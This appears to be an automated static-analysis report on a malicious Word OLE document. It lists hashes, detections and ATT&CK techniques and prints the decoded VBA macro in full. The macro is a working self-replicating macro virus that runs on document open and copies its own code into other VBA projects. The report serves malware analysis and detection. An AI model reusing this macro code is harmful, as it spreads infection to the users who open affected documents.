Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9834317481aa0224…

MALICIOUS

Office (OLE)

50.5 KB Created: 2015-05-14 08:19:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: a32e50f42dcb61ff42a203ccd9d34390 SHA-1: 1807682fb34a8de751cfad1b62d151350f427911 SHA-256: 9834317481aa0224734db619b8375749b94ca61d0c5fc7c4e5151e7fbc034c2f
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains VBA macros, as indicated by the OLE_VBA_MACROS heuristic. The Document_Open macro is present and exhibits self-replication behavior, attempting to copy its code to other VBA projects. This behavior is a strong indicator of malicious intent, likely for propagation or evasion. The ClamAV detection further supports the malicious classification.

Heuristics 5

  • ClamAV: Doc.Macro.MaliciousHeuristic-6290327-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MaliciousHeuristic-6290327-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     AA.CodeModule.AddFromString (MACROTEXT)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2738 bytes
SHA-256: 39837148fe63b1a7f588b5ada98542bdd35486fbc94bc8017398bed16a4a7e53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

Private Sub Document_Open1()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub
Private Sub Document_New()

End Sub

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